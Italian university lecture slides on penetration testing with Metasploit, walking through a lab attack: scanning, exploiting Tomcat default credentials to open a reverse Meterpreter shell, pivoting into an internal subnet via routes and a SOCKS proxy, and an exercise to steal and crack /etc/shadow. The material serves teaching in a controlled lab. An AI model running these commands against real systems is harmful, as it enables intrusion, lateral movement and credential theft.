Penetration Testing Metasploit Dipartimento di Informatica Via salaria 113 17 Novembre 2011 Dott. Antonio Villani Dott. Nino Verde 1
Riferimenti http://www.offensive-security.com/metasploitunleashed/introduction Metasploit Unleashed - pdf scaricabile da: http://diyhpl.us/~bryan/papers2/security/mets ploit%20unleashed.pdf 2
Metasploit Framework Il framework non e' un tool finalizzato alla realizzazione di attacchi per hacker ma un'interfaccia generale per testare e scrivere exploits. Un exploit è un codice che, sfruttando un bug o una vulnerabilità, porta all'acquisizione di privilegi o all'accesso del sistema cui viene applicato. 3
Metasploit Framework Piattaforma Open Source avanzata usata per sviluppare, testare e usare exploit code Disponibile per ogni sistema operativo Inizialmente sviluppato in Perl ora sviluppato in Ruby Architettura modulare, scriptabile... Moduli aggiuntivi Non richiede conoscenza di bug o scrittura di shellcode 4
Metasploit Framework Overview Metasploit permette di Ricercare nuove tecniche d'attacco Analizzare i metodi degli attaccanti Test di IDS/IPS Penetration Test 5
Exploits Piattaforme attaccabili: linux / macosx / solaris / windows / etc Exploits mirati alle applicazioni (Browsers, backup, ftp, etc ) Exploits remoti, ma privilege escalation possibile con meterpreter. Exploits organizzati attraverso path: /piattaforma/applicaozione/exploit (es: /windows/browser/ms06_001_wmf_setabortproc) 6
Metaexploits: evasione controlli IDS Codifica: spesso cambiare il payload di un exploit ne fa cambiare la signature NOP no operation Es: plugin ips_filter 7
Payload Il payload è il codice o il comando che vogliamo venga eseguito sull'host target Il Payload è spesso definito come shellcode. La definizione è imprecisa dato che un attacco non esegue necessariamente una shell, es: creazione nuovo utente, nuovo processo di controllo, rootkit, apertura socket di rete... 8
Interfacce Metasploit Framework Msfconsole: Console Interattiva Msfcli: linea di comando Msfpayload: permette di creare payload eseguibile Msfweb: Because everything has to have a web interface msfwx GUI: Graphical User Interfaces Msfapi: (in sviluppo) piattaforma di sviluppo modulare 9
Vediamolo in azione 10
Configurazione di Rete 11
Per iniziare... Userete putty (dalla vostra macchina windows) per connettervi via ssh alle macchina Kali User: root PSW: toor Cerchiamo di capire quanti host attivi ci sono sulla rete: $nmap 192.168.10.0/24 -n Per prima cosa faremo insieme una scansione delle porte aperte sulla prima macchina target $nmap 192.168.10.241 -n $sudo nmap -ss 192.168.10.241 -n SYN scan 12
Scansione delle vulnerabilità Dal risultato di nmap si capisce che ci sono moltissime porte aperte su questo host. Alcune anche anche sospette (IRC,telnet,etc.) Diamo un'occhiata con Nessus o OpenVas a possibili vulnerabilità Tra le tante vulnerabilità sembra che Tomcat abbia password di default, e metasploit ha un exploit per tale vulnerabilità che ci darà accesso da amministratore alla macchina Cercate gli exploit per tomcat e controllate le informazioni fornite dal framework metasploit (usate info o show options) Quale fa al caso nostro? 13
Usiamo ora Metasploit $msfconsole avvierà la console di metasploit Comandi utili: search VAR per eseguire una ricerca tra i moduli di metasploit use VAR per usare un particolare modulo. I moduli sono organizzati in una gerarchia ben definita info mostra delle informazioni sul modulo in uso show options mostra le opzioni da settare set VAR per impostare il valore di una variabile set payload VAR per impostare il payload Exploit lanciare l'exploit 14
Payload Ci sono tanti possibili payload. Ogni exploit ne supporta alcuni. Il payload va settato dopo aver scelto l'exploit da utilizzare. Meterpreter è uno dei payload più utili: È sostanzialmente una shell avanzata Diverse modalità di connessione: Bind tcp Reverse tcp Reverse http, etc.. 15
Exploit Tomcat on the first machine msf> use exploit/multi/http/tomcat_mgr_deploy SETTATE LE VARIE OPZIONI COME MOSTRATO DI SOTTO msf exploit(tomcat_mgr_deploy) > show options Module options (exploit/multi/http/tomcat_mgr_deploy): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD tomcat no The password for the specified username PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) Proxies no Use a proxy chain RHOST 192.168.2.123 yes The target address RPORT 8180 yes The target port USERNAME tomcat no The username to authenticate as VHOST no HTTP server virtual host Payload options (java/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.229 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic LANCIATE L'EXPLOIT msf exploit(tomcat_mgr_deploy) > exploit
Getting the meterpreter session msf exploit(tomcat_mgr_deploy) > exploit [*] Started reverse handler on 192.168.2.229:4444 [*] Attempting to automatically select a target... [*] Automatically selected target "Linux x86" [*] Uploading 6471 bytes as UA99glu9ybDXRwb7YtZ4.war... [*] Executing /UA99glu9ybDXRwb7YtZ4/Zvuq4YcK2m.jsp... [*] Undeploying UA99glu9ybDXRwb7YtZ4... [*] Sending stage (30355 bytes) to 192.168.2.123 [*] Meterpreter session 6 opened (192.168.2.229:4444 -> 192.168.2.123:47873) at 2014-09-16 16:57:50-0400 meterpreter >
Check configuration rpreter > ifconfig Interface 1 ============ Name : lo - lo Hardware MAC : 00:00:00:00:00:00 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : :: Interface 2 ============ Name : eth1 - eth1 Hardware MAC : 00:00:00:00:00:00 IPv4 Address : 192.168.255.128 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::20c:29ff:fe9b:e8d0 IPv6 Netmask : :: Interface 3 ============ Name : eth0 - eth0 Hardware MAC : 00:00:00:00:00:00 IPv4 Address : 192.168.2.123 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::20c:29ff:fe9b:e8c6 IPv6 Netmask : :: Meterpreter > Background session 6? [y/n] msf exploit(tomcat_mgr_deploy) >
Considerazioni Sembra che l'host ha effettivamente un altra scheda di rete configurata con indirizzo IP appartenente ad un'altra sottorete Vogliamo allora fare una scansione in quella sottorete Faremo pivoting attraverso la macchina già compromessa. Per prima cosa dobbiamo aggiungere una rotta...
Configurazione di Rete postexploitation 192.168.255.128 20
Alcuni comandi utili Prima di aggiungere una rotta impariamo ad usare le sessioni meterpreter Per mandare in background una sessione meterpreter usare il comando background Da msfconsole, il comando sessions vi resituisce una lista delle sessioni in background attive Vedere sessions -h per help Per ritornare ad una sessione in background usare: sessione -i NUMEROSESSIONE
Il comando route Il comando route permette di aggiungere delle rotte alla tabella di routing usata da metasploit. Con questo comando possiamo raggiungere sottoreti visibili soltanto da altri host che abbiamo precedentemente attaccato Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid] Route traffic destined to a given subnet through a supplied session. The default comm is Local.
Aggiungere una rotta verso la rete interna Una volta che la sessione meterpreter è in background possiamo aggiungere la nuova rotta. msf exploit(tomcat_mgr_deploy) > route add 192.168.255.0 255.255.255.0 6 [*] Route added msf exploit(tomcat_mgr_deploy) > route print Active Routing Table ==================== Subnet Netmask Gateway ------ ------- ------- 192.168.255.0 255.255.255.0 Session 6
Scansione della rete interna (1/2) msf exploit(tomcat_mgr_deploy) > use auxiliary/scanner/portscan/tcp msf auxiliary(tcp) > show options Module options (auxiliary/scanner/portscan/tcp): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host PORTS 1-500 yes Ports to scan (e.g. 22-25,80,110-900) RHOSTS 192.168.255.129 yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds
Scansione della rete interna (2/2) msf auxiliary(tcp) > run [*] 192.168.255.129:25 - TCP OPEN [*] 192.168.255.129:21 - TCP OPEN [*] 192.168.255.129:22 - TCP OPEN [*] 192.168.255.129:23 - TCP OPEN [*] 192.168.255.129:53 - TCP OPEN [*] 192.168.255.129:80 - TCP OPEN [*] 192.168.255.129:111 - TCP OPEN [*] 192.168.255.129:139 - TCP OPEN [*] 192.168.255.129:445 - TCP OPEN [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(tcp) >
Configurare un proxy per raggiungere la rete interna da altre applicazioni Ora che abbiamo una rotta verso il target configuriamo un proxy che può essere usato da altre applicazioni diverse da meterpreter Metasploit ha un modulo che ci permette di fare ciò: auxiliary/server/socks4a Questo modulo permette di creare un proxy che utilizza la funzionalità di routing interna a Metasploit per redirigere le connessioni.
auxiliary/server/socks4a msf auxiliary(tcp) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. msf auxiliary(socks4a) > run [*] Auxiliary module execution completed [*] Starting the socks4a proxy server msf auxiliary(socks4a) >
Proxychains Ora avremo un proxy in ascolto su localhost:1080 Dobbiamo configurare il tool che redirigerà verso tale proxy tutto il traffico: proxychains Modifichiamo /etc/proxychains.conf editando l'ultima riga, che diventerà: Socks4 127.0.0.1 1080 root@kali:~# proxychains nmap -st -n -PN 192.168.255.129 L'opzione -PN evita l'utilizzo di pacchetti UDP non supportati da proxychain
Proviamo ad usare altri servizi root@kali:~# proxychains ssh msfadmin@192.168.255.129 ProxyChains-3.1 (http://proxychains.sf.net) S-chain -<>-127.0.0.1:1080-<><>- 192.168.255.129:22-<><>-OK msfadmin@192.168.255.129's password:
Esercizio Continuare l'exploitation della seconda macchina Fare attenzione al payload di meterpreter utilizzato Spiegare perché java/meterpreter/reverse_tcp non può essere utilizzato Ci sono altri possibili target?
Esercizio PenTest Mandate una mail a verde@di.uniroma1.it per ricevere le istruzioni ed i file necessari alla configurazione di una rete VPN Una volta stabilita la connessione con la VPN otterrete un indirizzo nella sottorete 192.168.199.0/24 Il vostro primo target è la macchina 192.168.199.6 Una volta compromesso quel target dovrete continuare il lavoro di post-exploitation e trovare altri host vulnerabili Obiettivo: recuperare il file /etc/passwd e /etc/shadow di tutte le macchine compromesse e provare a crackare le password
Regole Non barate... ci possiamo accorgere di come siete arrivati alla soluzione Non modificate le impostazioni di rete delle macchine compromesse (interfacce, indirizzi ip, etc.) Appena compromessa una qualsiasi macchina mandate una mail a verde@di.uniroma1.it Avrete tempo fino al 20 dicembre per terminare l'esercizio Entro quella data dovrete redigere un report delle attività svolte e delle vulnerabilità trovate ed exploitate Inserite quanti più dettagli possibili nel report